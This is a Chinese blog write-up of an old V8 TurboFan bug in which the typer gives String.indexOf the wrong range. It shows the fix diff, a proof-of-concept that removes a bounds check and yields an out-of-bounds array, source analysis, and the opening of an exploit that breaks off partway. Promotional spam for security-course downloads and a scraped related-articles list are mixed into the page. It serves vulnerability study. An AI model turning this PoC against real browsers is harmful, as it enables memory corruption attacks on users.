这是A guided tour through Chrome’s javascript compiler上的第二个漏洞,下面是对应的commit

环境搭建

用v8-action

env:PATCH_FLAG: trueCOMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b  #这里DEPOT_UPLOAD: falseSRC_UPLOAD: trueBINARY_UPLOAD: false

编译

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..

漏洞分析

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@return Type::String();case kStringIndexOf:case kStringLastIndexOf:
-          return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+          return Type::Range(-1.0, String::kMaxLength, t->zone());case kStringEndsWith:case kStringIncludes:return Type::Boolean();

可以看到原本的String的最大下标是Range(-1.0, kMaxLength - 1.0),因为很显然,当只有一个元素时,最大下标就是1-1->0

但是有一特殊情况:

'1234'.indexOf('', 4) == 4

不只是这样,我们可以任意长度的array,从其maxLength开始搜索空字符,返回其maxLength,而Inferred Type为range(-1,maxLength-1)这种潜在的返回值可以帮助我们数组越界,当然我们要通过indexOf源码来分析。

分享给大家技术学习资料如下内容

→点击查看【网络安全学习攻略】←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

关于indexOf

str.indexOf(searchValue [, fromIndex])

返回在当前字符串中从fromIndex开始的第一个searchValue对应的下标,但是当我们像上述说的搜索空字符且从大于等于数组长度的位置搜索时,会返回数组长度(这点在下面的源码分析中会有所体现),等下用turbolizer看下生成图。

写个poc测一下,顺便看看turbolizer

function hex(i){return i.toString(16).padStart(16, "0");
}function foo(x)
{// const maxLength = %StringMaxLength();// print(maxLength);//maxLength==2**30+25let a = 'A'.repeat(2**30-25).indexOf('',x);let b = a + 25;let c = b >> 30;let idx = 7 * c;// print(idx);let oobArray = [1.1,2.2,3.3,4.4];oobArray[idx] = -1;return oobArray;
}for(let i=0; i<10000; i++) {foo(1)
}
let oob = foo(2**30-25);
console.log("[*]oob.length: "+hex(oob.length));


我本来想像这里的一样做,然后很简单的几步做出一个可以拿来越界的下标,但是很遗憾我本地如此求出的下标,在优化后他就是0,这个操作让人比较迷惑,另外在本地测试时最好看一下%StringMaxLength()的具体数值,那个slide里是228-16我本地是230-25还是试出来的,这是非常重要的一点。

所幸在这里看到他的exp写法,他的poc跑出结果和我不同,我本地跑出来的结果太过正常,看起来似乎没漏洞,但是返回越界写入length的array的poc在我本地倒是能跑通,感谢,不然这种莫名奇妙的错误不知会卡我多久。

在这一阶段时看到还有CheckBounds防止越界,但是在Simplified lowering阶段就没了那个越界检查,说明其turbofan认为这里不会越界,所以就把CheckBound给消除了,但是实际上越界了,所以会把checkbound消除(重点,这类漏洞的重点就是把一些check给消除掉。

这一错误的判断,也即消除checkbound是因为:

注意我用的不是2**28,显然turbofan在优化时确定的范围显示其不会越界,所以就会把checkbound消去,单这么看也许会觉得莫名其妙,那么我写个自己假设的修复漏洞之后的图表:

那么这样的话显然是不会让CheckBound消失的。

源码分析

int String::IndexOf(Isolate* isolate, Handle<String> receiver,Handle<String> search, int start_index) {DCHECK(0 <= start_index);         //开始的下标大于0DCHECK(start_index <= receiver->length()); //开始的下标小于主字符串的长度uint32_t search_length = search->length();  //需要搜索字符串的长度if (search_length == 0) return start_index;  //如果是空字符串,返回搜索开始的下标uint32_t receiver_length = receiver->length();if (start_index + search_length > receiver_length) return -1;receiver = String::Flatten(receiver);search = String::Flatten(search);DisallowHeapAllocation no_gc;  // ensure vectors stay valid// Extract flattened substrings of cons strings before getting encoding.String::FlatContent receiver_content = receiver->GetFlatContent();String::FlatContent search_content = search->GetFlatContent();// dispatch on type of stringsif (search_content.IsOneByte()) {Vector<const uint8_t> pat_vector = search_content.ToOneByteVector();return SearchString<const uint8_t>(isolate, receiver_content, pat_vector,start_index);}Vector<const uc16> pat_vector = search_content.ToUC16Vector();return SearchString<const uc16>(isolate, receiver_content, pat_vector,start_index);
}

利用

我们看到通过poc,可以达到构造一个越界读的数组的结果,并且这一poc的构建看起来并不算特别难,且其原理也在前面有所讲解,我相信各位通过曾经一些v8的学习,拿到可以有oob数组的poc后可以很快的写出其exp,有越界数组之后的操作就不再多说

另外这个v8的版本挺老的v6.3的,我用wasm时候没触发应该是这个版本还不支持,最后直接拿这里所说的jit稍加修改:

function hex(i)
{return i.toString(16).padStart(16, "0");
}const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);function f2i(val)
{ f64[0] = val;let tmp = Array.from(u32);return tmp[1] * 0x100000000 + tmp[0];
}function i2f(val)
{let tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);


我也一直在思考shellcode跑不通的原因,每次都是display的环境变量和别人不一样,如果你用我的exp跑不通,也可以去进行新的尝试。

关注私信回复“资料”获取

【网络安全】简要分析下Chrome-V8-Issue-762874相关推荐

  1. oracle查询表实际大小,简要分析估算oracle表的大小

    查询oracle表的大小有几种方法,笔者简要分析下他们的异同 环境,newsadmin.newlog,原本有244,459,078条记录,delete后,现在只有51,109,919记录. 一.seg ...

  2. oracle计算表的大小,简要分析估算oracle表的大小

    查询oracle表的大小有几种方法,笔者简要分析下他们的异同 环境,newsadmin.newlog,原本有244,459,078条记录,delete后,现在只有51,109,919记录. 一.seg ...

  3. 简要分析最近很热门的魍魉职业

    最近坛子里关于WL的方向问题MS讨论的很激烈 先是在敏 疾满天飞的时刻 服部半藏异军突起 伴随着战场套的出现全力WL好像来到了他的春天 高攻力高会心 较高的命中战场套让服部成为了一把菜刀 他成为了一个 ...

  4. 刀塔传奇火爆简要分析

    最近一直在玩刀塔传奇,玩了有接近大半年的时间,简直是爱不释手啊.深入玩这款游戏之后,渐渐思考了它流行的原因,下面从产品,运营,技术等各方面简要分析下 产品: 移动互联网的风吹起了很多的猪,有的猪摔死了 ...

  5. Windows下编译Chrome V8

    主要还是参考google的官方文档: How to Download and Build V8 Building on Windows 同时也参考了一些其它的中文博客: 脚本引擎小pk:SpiderM ...

  6. 【安全漏洞】简要分析复现了最近的ProxyShell利用链

    前言 近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式.微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在 ...

  7. CSDN文章点赞、收藏、评论后到底发生了什么?简要分析HTTP交互机制

    作者:Eason_LYC 悲观者预言失败,十言九中. 乐观者创造奇迹,一次即可. 一个人的价值,在于他拥有的,而不是他会的.所以可以不学无数,但不能一无所有! 技术领域:WEB安全.网络攻防 关注WE ...

  8. 朋友们,一起学习下 Chrome DevTools Protocol。

    1. Debug 起源 1947 年 9 月 9 日,第一代程序媛大佬 Hopper 正领着她的小组在一间一战时建造的老建筑机房里构造一个称为"Mark II"的艾肯中继器计算机. ...

  9. WebKit渲染引擎特性,以Chrome V8为例

    引言 上一期(传送门)我们讲了浏览器架构的大致内容.本期以WebKit为列,进行简单介绍,以便让你对渲染引擎有一个更多的理解.WebKit由多个重要模块组成,通过下图我们可以对WebKit有个整体的了 ...

最新文章

  1. 【C++】C++11 STL算法(四):二分查找法(Binary search operations)、合并操作
  2. 漫画 | 大数据风控从业者的一天
  3. tf.data.Dataset.from_tensor_slices 的用法
  4. linux上安装hackrf_在Linux上安装Kubectl
  5. EditText的 焦点事件 setOnFocusChangeListener
  6. nullnulle-人事管理系统-人事档案-变更管理-人员合同变更
  7. PostgreSQL 安装 用户配置
  8. 1+X web中级 Laravel学习笔记——路由和控制器的简单使用
  9. 小白也能看得懂的服务端性能测试指标及问题排查
  10. php 网关接口,[PHP] 通用网关接口CGI 的运行原理
  11. 【心电信号】基于matlab GUI自适应滤波+平滑滤波+小波滤波心电信号处理【含Matlab源码 1809期】
  12. 系列1—BabeLua入门
  13. “爆炸图!“ArcGIS中制作一张好看的爆炸分析图(附练习数据)
  14. xcode6修改新建类时生成的模板(作者,组织,CopyRight等)
  15. 背壳BAKAZU 2013复古邮差风帆布休闲潮男腰包 A801BK 黑色 腰包胸包【图片 价格 品牌 报价】-京东商城...
  16. js会员头像上传拖动处理头像类
  17. CISCO 交换设备IOS 备份/恢复操作
  18. 2014华中首届手游创意大赛
  19. 一道有趣的啤酒趣味题
  20. 3t硬盘哪个服务器系统识别,3T硬盘为何不能被系统完全识别

热门文章

  1. 成功解决AttributeError: ‘PathCollection‘ object has no property ‘n_levels‘
  2. Python语言学习:Python随机生成那些事之随机生成使用方法、案例应用之详细攻略
  3. Py之wxPython:利用wxPython设计GUI界面(图片背景+简单按钮)
  4. 成功解决调用密钥报错4001 加密方式错误
  5. 安装nvidia-docker2
  6. TCP协议三步挥手与四步挥手
  7. HTMLTestRunner加入logging输出
  8. linux中一些简便的命令之wc
  9. 线性规划与网络流24题 运输问题(最裸的费用流了)
  10. KlayGE中的FXAA已经完成